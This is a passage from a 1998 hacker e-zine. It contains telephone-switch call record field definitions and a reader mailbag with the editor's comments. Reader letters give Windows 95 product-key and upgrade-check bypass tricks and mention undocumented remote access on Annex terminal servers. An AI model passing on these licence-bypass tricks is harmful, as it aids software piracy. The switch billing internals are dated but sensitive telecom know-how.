20 Y PRI N Y N 2 4 N Y N N SP
21 Y PRI N Y N 2 4 N Y N N SP
ANI xxxx TRAFF TOD INT BLOCK PART ACCT VNET OPER 900 ALLOW DIG
CLS CUST TYPE REST ACC CALLS NO. DIGITS CUST ACC BLK PRISON FAC
--- ---- ----- ---- --- ----- ---- ------ ---- ---- --- ------ ---
22 Y PRI N Y N 2 3 N Y N N SP
23 Y PRI N Y N 2 3 N Y N N SP
24 Y PRI N Y N 2 3 N Y N N SP
25 Y PRI N Y N 2 3 N Y N N SP
26 Y PRI N Y N 2 4 N Y N N SP
27 Y PRI N Y N 2 4 N Y N N SP
28 Y PRI N Y N 2 4 N Y N N SP
29 Y PRI N Y N 2 4 N Y N N SP
30 Y PRI N Y N 2 0 N Y Y Y SP
31 Y PRI N Y N 2 2 N Y N N SP
32 Y PRI N Y N 2 3 N Y N N SP
33 Y PRI N Y N 2 3 N Y N N SP
34 Y PRI N Y N 2 3 N Y N N SP
35 Y PRI N Y N 2 4 N Y N N SP
36 Y PRI N Y N 2 4 N Y N N SP
37 N SEC N N N 0 0 N N N N SP
38 N SEC N N N 0 0 N N N N SP
39 N SEC N N N 0 0 N N N N SP
40 Y PRI N Y N 2 0 Y Y N N SP
41 Y PRI N N N 111 0 N Y N N SP
42 N SEC N N N 0 0 N N N N SP
CD - Call Direction
-------------------
The call direction flag shall indicate domestic or international call
originations.
0 = Call origination occurs in the domestic network
[inside World Zone 1 (WZ1)]
1 = Call origination occurs in the international network
(outside WZ1)
CLI Number - Calling Location ID
--------------------------------
CLI (ANI or CSI) of the originating station line. If more than 10
digits of ANI/CSI are received, they are recorded in the ECDR/EPNR.
If 1 to 10 ANI or CSI digits are received they will not be prefixed
with HNPA or HNXX information unless noted. If no ANI or CSI is
available OSID/OTG will be recorded, except where noted. If nothing
is recorded in the CLI field a NOCLI value of 10 is used.
CRID - Call Record ID
---------------------
Identifies the type of call record used.
0 = Not used
1 = CDR
2 = SER (CR)
3 = PNR
4 = OSR
5 = POSR
6 = ECDR
7 = EPNR
8 = EOSR
9 = EPOSR
10-15 = Not used
Dialed Num - Destination Address Digits
---------------------------------------
Destination address digits or Dialed Number. If more than 17 digits need
to be recorded an ECDR/EPNR is used. The three digit data call
indicator (#56) for analog data call is not stored. Calls received at
the switch as 7 digit DDD calls shall be recorded in this field in the
10 digit DDD format, using the NPA that was collected from the ANI for
FG-D originations and the NPA that is stored in the trunk group for all
other 7 digit DDD calls.
DE - Destination
----------------
Indicates when a call is expected to terminate to an international
destination.
0 = Default, North American Numbering Plan (NANP), Domestic VNET or any
other call not expected to terminate to an international
destination.
1 = Calls expected to terminate to an international destination.
Division ID
-----------
Contains division identification for credit card calls and calling
card calls and is received from the NCS/DAP for the card number
validation.
0 = No division ID specified
1 = Division ID1
2 = Division ID2
3 = Division ID3
4 = Division ID4
5 = Division ID5
6 = Division ID6
7 = Division ID7
DO - Distant Overflow
---------------------
When set to a "1" in the originating switch record, indicates that
a direct termination overflow (DTO) transaction was attempted at an
intermediate or terminating switch in order to get the final destination
address digits for this call. This overflow information is sent from the
switch that invoked DTO, back to the originating switch via SS7
messaging.
DT - Dedicated Termination
--------------------------
When set to 1, indicates that a 10 digit shared network number was
completed to a dedicated termination. If the terminating trunk class
(TTC) in the call record is equal to 3 or 7, it is considered to be a
direct termination trunk (DAL, VNET CAMA, ISDN PRI, or ISUP IMT
terminating to a reseller). If an originating switch receives an ISUP
message (address complete message or answer message from the terminating
switch) with the DT bit set in the BCSI, the DT bit shall be set
in the call record. Note: When a 10 digit shared network number
terminates to a dedicated termination, the termination switch shall set
the DT bit in the BCSI parameter in the ISUP message (address
complete message or answer message) and send the ACM or ANM back to the
originating switch.
Entry Code
----------
Entry code indicates the kind of call processing that took place at
the ISN or ONC and what type of information is recorded in the auth
field. For calls that do not need to access the ISN or ONC for call
processing, the switch may record a switch-generated entry code (20-26,
51-79). If more than one entry code is received, the last one is
recorded. ISN or ONC entry codes that are received will overwrite the
switch-generated entry codes.
0 = Not to be used-default
1* = Person-to-person (P-P)
2* = Station-to-station (S-S)
3* = Third party billing (3rd party number recorded)
4* = P-P collect (bill to called party)
5* = S-S collect (bill to called party)
6 = Card or VNET card (S-S)
7* = BOC inward dialing without call completion
8* = General assistance
9* = BOC/LEC card
10 = Presubscribed credit card
11*= PTT card
12*= Directory assistance
13*= Commercial credit card
14*= BOC inward dialing with call completion
15*= Card or VNET card (P-P)
16-19 = Not currently used - available
20 = ANI validation (screened pass/failed)
21 = Auth validation (filed or dialed)
22 = Not currently used - available
23 = 700 service access code (overrides #20)
24 = 800 service access code (overrides #20)
25 = 900 service access code (overrides #20)
26*= Prism I, prism II, and WATS (not currently supported)
27-28 = Not currently used - available
29*= Operator release time expired
30*= EVS/NARS-disconnect message referral (DMR) without referral
31*= EVS/NARS-DMR with referral to number
32*= EVS/NARS-DMR with referral to non-supported number
33*= EVS/NARS-DMR with referral and Call Extension (CE) to number
34*= EVS/NARS-DMR with referral and CE to non-supported number
35*= EVS/NARS-customized message announcement (CMA) with call extension
36*= EVS/NARS-CMA without call extension
37*= EVS/NARS-Enhanced call routing (ECR)
38-41*= EVS/NARS-Reserved for future use
42-47 = Not currently used - available
48*= GETS card
49 = Not currently used - available
50*= Billed to international number
51 = CSI information recorded
52 = Supp code only recorded
53 = VNET remote access number recorded
54 = SS7 calling party number recorded
55 = OSID+OTG recorded
56 = DNIS recorded
57 = Business group ID recorded
58 = Network information recorded
59-79 = Reserved for future switch-generated entry codes
80-89*= Reserved for T*USA calls that are allowed to re-originate
90-99*= Reserved for T*USA calls that are not allowed to re-originate
100-127= Not currently used - available
Feat Code - Feature Code
------------------------
Comes from switch call processing or is returned from the NCS/DAP.
0 = Not to be used-default
1 = FAX1,2,4
2 = NARS1,2
3 = Data cal14
4 = Switched DS1 (HSCS)1
5 = Switched DS3 (HSCS)1
6-8 = Not currently used-available
9 = NX64 (N=?, see bitmaps in ECDR/EPNR)3,5
10= Offnet routing2
11= AAP call (used in gateway toll ticket conversion)
12-15= Not currently used-available
Note: 1 - Determined by switch call processing
2 - Returned from NCS/DAP
3 - Specified in messaging from originating trunk
4 - See digital data call spec, ref #6
5 - See ISDN call processing spec, ref #6
Info Digits - Information Digits
--------------------------------
Contains one or two information digits as received from the originating
trunk (FG-B or FG-D, CAMA, IMTs, or CCITT #5 and #6 international
trunks).
Info Digits received from CAMA Trunk:
0 = ANI
1 = ONI - Multiparty
2 = ANI Failure
3 = ANI Observed
4 = ONI Observed
5 = ANI Failure Observed
Info Digits recieved from LEC - FGB Direct
0 = ANI
1 = ONI - Multiparty
2 = ANI Failure
6 = Hotel/Motel
7 = Coinless, Hospital, Inmate, etc.
Info Digits/OLI received from RBOC or LEC - FGD
00 = Identified POTS line - no special treatment
01 = ONI - Multiparty
02 = ANI Failure
06 = Hotel/Motel without room identification
07 = Coinless, Hospital, Inmate, etc.
08 = Interlata Restricted - Regular Line
10 = Test Call
20 = AIOD - Listed directory number sent
23 = Can't be identified from N.C.E.O.
24 = SAC call already translated by LEC
25 = ?
27 = Coin Phone
52 = OUTWATS
61 = Cellular
62 = Cellular from Type 2 trunks
63 = Cellular from Type 3 trunks
68 = Interlata Restricted - Hotel/Motel
78 = Interlata Restricted - Coinless, Hospital, Inmate, etc.
95 = Test Call
FCSI Info Digits used on IMT's
00*= DDD/IDDD
10*= Test CAll
28 = SAC and VNET DDD/IDDD
29 = SAC and VNET DDD/IDDD with DTO envoked
31 = SAC and VNET 7D DTC
32 = SAC and VNET 7D DTC with DTO available
33 = SAC and VNET 10D DTC
34 = SAC and VNET 10D DTC with DTO available
41 = SAC and VNET 7D DTC Digital Routing
42 = SAC and VNET 7D DTC Digital Routing with DTO available
43 = SAC and VNET 10D DTC Digital Routing
44 = SAC and VNET 10D DTC Digital Routing with DTO available
45 = Flex DTC
46 = Flex DTC with DTO available
47 = International VNET
48 = International inbound SAC
49 = Outbound IVNET
50 = EIR Switch ID/Carrier ID + IDDD
52*= OUTWATS
61*= Cellular
62*= Cellular (Type 2)
63*= Cellular (Type 3)
76 = Special Operator Services (Identified by ANI)
IN - Internetwork
-----------------
The default setting for this bit is "0". It will be set to a "1" if
a business group or netinfo parameter is received from the NCS/DAP.
NAT - Network Access Type
-------------------------
Indicates which type of network access is used. This information is
defined at the originating switch on the network, and will be sent
to the next switch via the SS7 IAM message. If a switch receives this
parameter in an SS7 message on an IMT trunk, the switch records the
information in its call record.
0 = Default
1 = INWATS Card Access (800-950-XXXX, 800-444-XXXX) (see CN for XXXX)
2 = 950-XXXX Card Access (see CN for XXXX)
3 = Operator Assist Access (0+, 0-, card time-out, OP-OP transfer)
4 = VNET Remote Access
5 = BPP Access
6-15 = Not currently used-available
NCS/DAP ID
----------
Indicates that the switch processed the call, or that one of the
NCS/DAPs is queried for information for services including, but not
limited to VNET, calling card, 800, and 900. It indicates the ID
of the NCS/DAP that was involved in the last transaction attempt. An
NCS/DAP ID in this field indicates that a switch to NCS/DAP transaction
is attempted, and does not necessarily mean that the transaction (a
request message) was transmitted to the NCS/DAP and a response message
was received. If a response time-out occurs, the NCS/DAP value is
recorded along with an action code of 5.
0 = Switch call processing
1 = NCS/DAP 1
2 = NCS/DAP 2
3 = NCS/DAP 3
4-5 = Not currently used-available
6 = Received from operator platform via RLT
7 = TCAP to NCS/DAP
NOCLI - Nature of Calling Location ID
-------------------------------------
The calling location ID field (CLI Number or originating ANI) contains
the information that is referenced here in the NOCLI.
0 = Not used
1 = ANI from in-band trunk
2 = SS7 charge number
3 = SS7 calling party number
4 = Original called number
5 = Pseudo ANI created at this switch
6 = CSI from originating trunk
7 = Filed NPA-NXX trunk group information plus CSI
8 = NNN+OSID+OTG or OOY+OSID+OTG (N=TBCD null)
9 = Country code + national number
10= No CLI recorded
11= Redirecting number
12= CLI received from operator platform via RLT
13-15= Not currently used-available
Originating Port
----------------
The port or circuit number the call was originated on.
Originating Trunk Class
-----------------------
0= ONAL (FG-A)
1= ONAT (FG-B, FG-C, FG-D, CAMA, LAMA)
2= DAL, VNET CAMA, FG-D-DAL
3= IMT (in-band or SS7)
4= International circuit (R1, R2, #5, #6, #7)
5= ISDN PRI
6= OST (to be phased out)
7-15= Not currently used-available
Originating Trunk Group
-----------------------
Trunk group the call originated on.
Prefix
------
Customer-dialed prefix digits. Not used on IMT originations.
0 = No prefix digits received
1 = 0- no additional customer-dialed address digits, operator assisted
2 = 0+ domestic Customer-Dialed Operator Service (CDOS)
3 = 01+ International CDOS
4 = 011+ IDDD (including IDDD origination from presubscribed FG-D lines)
5 = 1+DDD
6 = 8+7D dialing (VNET)
7 = Not currently used-available
Pre-Translated - Pretranslated Digits
-------------------------------------
Contains the pretranslated digits as dialed by the subscriber (or filed
hotline number) if translated to another number. If the PTD number is
longer than 10 digits, ECDR/EPNR is used. If the dialed number is the
destination number and is not translated to another number this field
will remain blank. The 00Y code (?) for 800 service calls shall be
recorded. If a 10D DTC call is received that uses virtual trunks, the
14-digit compressed number is recorded. For IMT call records the DNIS
(originally pretranslated number) that is transported in the SS7 generic
address parameter is used. The three digit data call indicator (#56)
for analog data calls shall not be recorded.
RO - Reported Overflow
----------------------
The default setting for this bit is 0. It will be set to 1 if the
originating trunk group has received an SS7 IAM indicating that the
call had previously been involved in an overflow situation.
SA - Satellite
--------------
This bit, when set to 1, indicates a satellite circuit was involved
in the call. The SA bit is set when the incoming trunk group is
classmarked as satellite equipped, when the SAT digit on an incoming
in-band IMT call shows that a satellite circuit is involved in the
connection (SA digit equals 2), or when the SS7 nature of connection
parameter indicates that a satellite trunk was previously used. This
bit is recorded for troubleshooting purposes and not for billing.
SS7 Cause - SS7 Release Code
----------------------------
SS7 ISUP or ISDN release cause codes that shall be recorded only when
an SS7 message is received that terminates the call. This code is used
in conjunction with the disconnect qualifier to
determine which direction the SS7 release message came from.
ISDN - Release With Cause Definitions
RWC 1, Unallocated (unassigned) Number - no routing exists in switch or
pbx for that number
RWC 2, No Route to Specified Network
RWC 3, No Route to Destination
RWC 4, Vacant area code or central office code
RWC 5, Misdialed Trunk Prefix
RWC 6, Channel unacceptable - interface identifiers {IId} are not explicit
RWC 7, Call awarded and being delivered in an established channel
RWC 8, Prefix 0 dialed but not allowed
RWC 9, Prefix 1 dialed but not allowed
RWC 10, Prefix 1 not dialed but required
RWC 11, More digits received than allowed, call proceeding
RWC 16, Normal Clearing
RWC 17, User Busy (Busy)
RWC 18, No User Responding - seen if circuits are in lockout
RWC 19, No answer from user (user alerted)
RWC 21, Call Rejected
RWC 22, Number Changed
RWC 26, Non-selected user clearing
RWC 27, Destination out of order
RWC 28, Invalid number format (address Incomplete) - Vnet customer,
Dap not updated (action code=19)
RWC 29, Facility Rejected
RWC 30, Response to STATUS ENQUIRY
RWC 31, Normal - Unspecified
RWC 34, No Circuit or channel Available
RWC 38, Network Out Of Order
RWC 41, Temporary Failure
RWC 42, Switching Equipment Congestion
RWC 43, Access information discarded
RWC 44, Requested Channel Not Available - interface identifiers not
matching
RWC 45, Preemption
RWC 46, Precedence call blocked
RWC 47, Resource Unavailable - Unspecified
RWC 49, Quality of service unavailable
RWC 50, Requested Facility Not Subscribed
RWC 52, Outgoing calls barred - service requested not authorized
RWC 54, Incoming calls barred
RWC 55, Incoming Calls Barred Within CUG
RWC 57, Bearer Capability Not Authorized
RWC 58, Bearer Capability Not Available
RWC 63, Service or Option Not Available
RWC 65, Bearer Capability Not Implemented - terminating end does not
support bearer capability
RWC 66, Channel type not implemented
RWC 69, Requested Facility Not Implemented
RWC 70, Only Restricted Digital Information
RWC 79, Service or Option Not Implemented
RWC 81, Invalid call reference value
RWC 82, Identified channel does not exist
RWC 87, Called User Not Member of CUG
RWC 88, Incompatible Destination
RWC 91, Invalid Transit Network Selector
RWC 95, Invalid Message, Unspecified
RWC 96, Mandatory information element is missing
RWC 97, Message Type Non-Existent Or Not Implemented
RWC 98, Message not compatible with call state
RWC 99, Information element Non-Existent Or Not Implemented -Discarded
RWC 100, Invalid information element contents - release complete. Message
identifies the invalid info element.
RWC 101, Message not compatible with call state
RWC 102, Recovery on Timer Expired - exceeded 4 seconds
RWC 103, Parameter Non-Existent Or Not Implemented - Passed On
RWC 111, Protocol Error - Unspecified
RWC 127, Interworking - Unspecified
Term Code - Terminating Network Code
------------------------------------
Supplied by the NCS/DAP to indicate the terminating facilities to be
used for the remainder of the network path of the call.
0 = Not to be used-default
1 = No routing restrictions
2 = Avoid satellite
3 = Route via DS1
4 = Route via DS1 and avoid satellite
5 = Route via protected facilities required
6 = Route via protected facilities preferred
7-15= Not currently used-available
Terminating Port
----------------
The circuit or port number of the last terminating trunk seized
for an outgoing call attempt. For originating dial event error
conditions in which no terminating trunk is seized, this field contains
the switch exception/treatment code indicating the cause of the dial
event error condition.
DMS = MTT;MTC;IOD;CDR
5 (DISPLOG) XXX (exception/treatment code)
DEX = DISPLA CP TREAT
Outpulse Qual
-------------
Outpulsed call disposition qualifier. If the billing switch is not the
switch where the information was delivered, the switch that delivered
the information will send back an SS7 message that indicates which
information was delivered, and the billing switch will record the
information. Delivery indicators will be recorded at both the billing
switch and the delivering switch.
0 = Not to be used-default
1 = ANI/CSI was delivered
2 = DNIS was delivered
3 = ANI/CSI and DNIS were delivered
4 = Calling party name was delivered (future)
5 = User-to-user information was delivered
6-15 = Not currently used-available
Answer Qual
-----------
Answer supervision qualifier. For SS7, the BCSI parameter in the
answer message (ANM) indicates the type of answer; and in the ISDN
applications, the ANM indicates that the call was answered.
0 = Hardware detected answer (also in-band IMTs)
1 = Software detected voice
2 = Not currently used - available
Disconn Qual
------------
Call disconnect qualifier is recorded for domestic and international
calls at each switching system in the path of the call. The first
disconnect qualifier that is determined is recorded.
0 = Calling party disconnect (clear forward)
1 = Called party disconnect (clear backward)
2 = Calling party reorigination
3 = Switch initiated (default case includes Multiplexer (MUX)/radio
hits, switch restarts, switch audits, manual action, matrix or
hardware/software faults)
4 = All routes busy (ARB) takes precedence over any other type of
disconnect qualifier. This includes calls that reoriginated or
that were disconnected due to the calling party going on hook.
5 = Long ring disconnect (timer exceeded)
6-15 = Not currently used-available
Terminating Trunk Class
-----------------------
0 = ONAL (FG-A)
1 = ONAT (FG-B, FG-C, FG-D, CAMA, LAMA)
2 = DAL, VNET CAMA, FG-D-DAL
3 = IMT (in-band or SS7)
4 = International circuit (R1, R2, #5, #6, #7)
5 = ISDN PRI
6 = OST
7-15 = Not currently used-available
Terminating Trunk Group
-----------------------
Trunk group the call terminated on. If a call fails because no trunks
were available the last trunk group that was attempted is used.
Have phun.
+EOT+
/var/spool/mail
~~~~~~~~~~~~~~~
[ Keep in mind that comments from me (Ryan Graciano) are enclosed in ]
[ these brackets :]
From: paul@atour.com
To: tiepilot@city-net.com
Subject: your I/O zine
Greetings,
I just want to tell you how much I enjoyed reading your two issues (I/O
zine) you have posted on your website. I am not the most technical of
people, but it is refreshing to finally understand what I read, the TCP/IP
column was just great. I just hope that you continue publishing this zine.
Future articles that might interest me would be IP Spoofing.
The best of luck to you, and keep up the great job....like your website too.
Paul
[ I just thought I'd kick things off with an example of the kind of ]
[ email I like to get :) ]
From: parallel@edgeoftheweb.net
To: tiepilot@city-net.com
Subject: Annex
I noticed your article about the Xylogic Annex terminals in
I/O #2. Wanted to make a couple comments.
#1 - Yeah, they are very insecure if not done right. You can
have full telnet/rlogin access out of them plus a whole lot
of other features that aren't documented.
#2 - There is a way to secure them so that the CLI is offline
whenever they are telnet'd to. Example: you are using the
Annex as a terminal server for your modems to your un*x box
for authentication. A modem dials in, and the Annex requests
username/password and verifies with the un*x system. If you
telnet to the Annex under this setup, the only way to get in
is to specify a specific port on the Annex a modem is connected
to (mind you, that modem must not be in use at the time) and
then entire a username and password. From there, it is entirely
dependant upon whether that user has shell access or not.
I understand there are a lot more details in my example, and I
don't think there's enough room to explain here. If you would
like a longer explanation, I'd be happy to provide. My company
used five Annex terminals (with 16 modems to each Annex) for
a few years, so I have an idea of how they work and their security.
Best regards,
parallel
[ If anyone knows of the undocumented features mentioned, drop me ]
[ a line. ]
From: hommels@earthlink.net
To: tiepilot@city-net.com
Subject: Upgrade vs. Full version of W95
Upgrade vs. Full version of W95
BJ Bell said in I/O #2:
Now this got me wondering about how much more stuff Microsoft has done,
assuming users are totally clueless.
Actually its siller than he said. The cds are the same except for a line in
setuppp.inf (in precopy2.cab).
ProductType= <number>
2 is an upgrade.
I think 1 is full.
As for product serial numbers, usually all 1s will work, otherwise all 1s
execpt for a final 2.
Fred
[ I received _lots_ of feedback regarding the article by BJ Bell on ]
[ Microsoft's silliness. I guess, for the most part, people agree on ]
[ their ineptitude... although, I did manage to start a few heated ]
[ discussions with some MS supporters who mailed me. Everyone is ]
[ entitled to their opinion, I suppose... ]
From: ajones49@juno.com
To: tiepilot@city-net.com
Subject: AntiOnline Staff
To whom it may concern,
I would like to request more information on becoming
part of the staff writers of AntiOnline. I am currently a high
school student with free time, and I would like to contribute
as much as I can back to "the scene." I do have experience
in hacking, phreaking, computers, and electronics, and would
be very honored to be a part of your publication. Please
contact me back at ajones49@juno.com. Thank you. -Alex Jones ("Cossack")
[ It concerns me, apparently :) We received a number of people asking ]
[ to write or involve themselves somehow, so I thought I'd outline the ]
[ general procedure here. If you would like to write for I/O, write an ]
[ _original_and_unpublished_ paper on the technical topic of your ]
[ choosing. Obviously, be sure that the topic has not already been covered ]
[ in I/O, or that you are at least extending what was written previously. ]
[ And, of course, the material has to be up to I/O's standards. Potential ]
[ writers should know what this means, but if you have any doubts, just ]
[ check a topic with me before you start writing. ]
[ Oh, by the way, you'll find an article by Cossack in this issue :]
From: mzullo@bestway.com.br
To: tiepilot@city-net.com
Subject: Translation
Hi. I have read the first edition of I/O. I thought this was incredibly well
written and with lots of good information.
I have a suggestion to make you. I am from Brazil, and as you know, we
brazilians speak portuguese and many of us cannot speak, talk, write or read
english. I am in the computer scene for abou 8 years and I thought it would be
a great addition to the brazilian underground the translation of your zine to
my home language. I have the time and interest to make a good work for you.
The way the translation would be made can be defined by you. Please consider
this suggestion. I would be very glad to integrate this group, even if it's by
far away.
Thanks for your time.
Fame
Campinas, SP, Brazil
BCF - Brazilian Crackerz Force
http://www.chez.com/bcf/
[ More than one translation was proposed, and we're happy to accept any. ]
[ Translations to other languages are more than welcome, just mail me ]
[ when they're done, and I'll let people know they exist. ]
From: gstrohjr@cybertron.com
To: tiepilot@city-net.com
Subject: BJ Bell's article
Hi,
This is about BJ Bell's article in I/O 2. When I upgraded to
Win95, I refomatted my hard drive first. I had a friend make
me a Win95 boot disk. I copied my cd drivers and other
things on to this disk. I also copied a blank file called
Win.cn_ to fool the install program into thinking I was
upgrading. I like your site and the information helps people
make their systems more secure.
[ I haven't actually tried any of these yet, but they all seem pretty silly. ]
[ Windows is easily fooled into thinking you're upgrading. Of course, I run ]
[ Linux, and it's happy to have you upgrade or install from scratch.. and ]
[ all for free, imagine that. ]
From: toth@email.tgm.ac.at
To: tiepilot@city-net.com
Subject: Secure Socket Layers
This article in I/O Issue 2 about Socket programming was very interesting. But
will i read something about Secure Socket Layers? This part of the story would
be very interestingfor me.
Beside this, your zine provides me with information, which many big fat books
from, so called, intelligent people, weren't able to.
Thank you and keep on doing this way!
Marcus
[ Call me crazy, but I think people such as Kernigan, Ritchie, and Stevens ]
[ are pretty bright :) I wouldn't throw "Unix Network Programming" away ]
[ just yet (besides, the 2nd edition has a neat new cover). All kidding ]
[ aside, sources such as these are where our writers learned all this stuff ]
[ in the first place. The ever handy "TCP/IP Illustrated" series... ]
[ Anyhow, thanks for the compliments, and you might see something on ]
[ secure socket layers in the near future. ]
From: terradd80@hotmail.com
To: tiepilot@city-net.com
Subject: hack
I would like to learn to hack. Please send me all the info I need to get
started, so that I can expand my mind and one day understand this world better.
thanxs, s
[ I'll get right on that. ]
From: 7080bsc@gte.net
To: tiepilot@city-net.com
Subject: Program
I am looking for a program that not only logs local user input but also logs
remote user output, screen buffers, etc. Are you aware of such a product ? I
have experience with keylog! and it seems to work well. Thank you for your help
in advance.
[ Contrary to what seems to be popular belief, I AM NOT a source for ]
[ every little tidbit of cracking information and silly program you need. ]
[ tiepilot != (sentient_ftp_site) ]
From: Bradley McCourt <bmccourt@sprint.ca>
To: tiepilot@city-net.com
Subject: Computers
Hello, I was wondering if you could help me somehow.
I have a computer's project to do for school, and i need ARTICLES on
Computer viruses, computer crimes (i.e. hacking, thefts, etc.), and
computer's effects on society (i.e. health risks, retraining, etc.)
If you could be of any service, it would be greatly appreciated.
Thanx
Shawna McCourt
[ Is it Bradley or Shawna? I guess we'll never know. But, as long as we're ]
[ on the topic, Bradley/Shawna did not just want help, they actually ]
[ wanted me to write the article for them. Unless you'd like to pay for ]
[ my services as a contract technical writer, don't hold your breath. :]
From: mickey7@home.com
To: tiepilot@city-net.com
Subject: problem
I am unable to view the archives page as well as several others...all they
contain is an ad at the top...
[ Just to clarify things, I am completely unresponsible for any/all html ]
[ on AntiOnline. All I do is edit and write for I/O, I can not fix broken ]
[ links, and I will not update the files section (I must have gotten ]
[ hundreds of individual emails from people asking me to update the files ]
[ section.) ]
Date: Fri, 29 May 1998 21:27:14 -0500 (EST)
From: jp@antionline.com
Subject: Automated AntiOnline WebForm
Below Is A Message From AntiOnline's Comment Form.
---------------------------------------------------------------------------
This form was submitted by: The Grim Reaper.
Who runs the following website: www.freeyellow.com/members3/psyko219
And is the HACKER, CRACKER, PHONE PHREAKER for NONE
You can email at: G Reaper18@aol.com
Submitted The Following Comments/Questions:
I NEED AS MANY HACKERS AS POSSIBLE 2 E-MAIL ME 4 A HACKING JOB BEING DONE
WITHIN THE NEXT 2 WEEKS FROM 5/29/1998
[ OK! I'LL HIRE ALL THOSE HACKERS, AND WE'LL DO THAT, RIGHT AWAY! Oh, ]
[ it looks like I'm too late. Rats. ]
From: tookewel@hotmail.com
To: tiepilot@city-net.com
Subject: Post this article
Ryan,
I want to you to post an article for me from the Colorado Daily.
[ ARTICLE CUT ]
-TooKewel
[ I think the Colorado Daily would contact me if they wanted me to ]
[ republish what they've already written. Of course, I have no idea why _I_ ]
[ would want to do such a thing... ]
From: Oberon@uniserve.com
To: tiepilot@city-net.com
Subject: I/O
I really enjoyed I/O 1 and 2. The section that most interested
me was the information on the TCP/IP stack. While that info
may be easy to find (so to speak) it was well presented, and I
found it easy to read, AND understand. I live in a small town
and as such our library is rather devoid of good computer
literature. I constantly purchase computer books, and that
gets expensive real fast. So, keep up the good work (and keep
going into the TCP/IP stack too, I am really interested in
how it works (or does'nt))
[ I like to think that we produce I/O for exactly these reasons. Thanks ]
[ for the feedback. ]
[ On another note, I was hoping to get a really negative email to ]
[ post right after this one, in contrast, but unfortunately I did not ]
[ receive anything along the lines of "you suck, and so does I/O". Oh well. ]
From: ndrengenberg@bigfoot.com
To: tiepilot@city-net.com
Subject: #Queen on IRCNet
i'm a regular (and channel op) on #Queen on IRCNet.
We've recently been the victims of several hostile
takeovers (all orchestrated by the same person i think),
and the latest seems to have well and truly stuffed us.
Do you know of anything we can do to get rid of these
jerks? We usually run an eggdrop and other bot(s), but
they've nuked them before and this time as well. Basically
the channel is theirs now.
Thanks,
mugs
[ Talk to whoever runs IRCNet. ]
From: nomad1.0@technologist.com
To: tiepilot@city-net.com
Subject: Phone systems
Hello Ryan,
First of all I would just like to say that I have read every article that
IO has produced, and I have learned some new things from it.
I was wondering if maybe next issue (whenever it comes out) if you could get
someone to do an article geared towards phone systems and todays security in
them. All the texts that I have read regarding this subject have been long
outdated.
Matt Thomas
[ Well, I took Matt's advice and posted a couple of articles relating ]
[ to the phone system. Enjoy :]
From: firewire@rica.net
To: tiepilot@city-net.com
Subject: CD key
Also for BJ Bell, The upgrade/full install part of the CD key is contained in
the first set of numbers for the XXX-XXXXXXX
format...Anywayz..in the XXX-XXXXXXX format the sum of the last set of digits
has to equal a number evenly divisible by seven and the key will be
accepted.....
[ I really did receive a LOT of email on this :]
+++EOF+++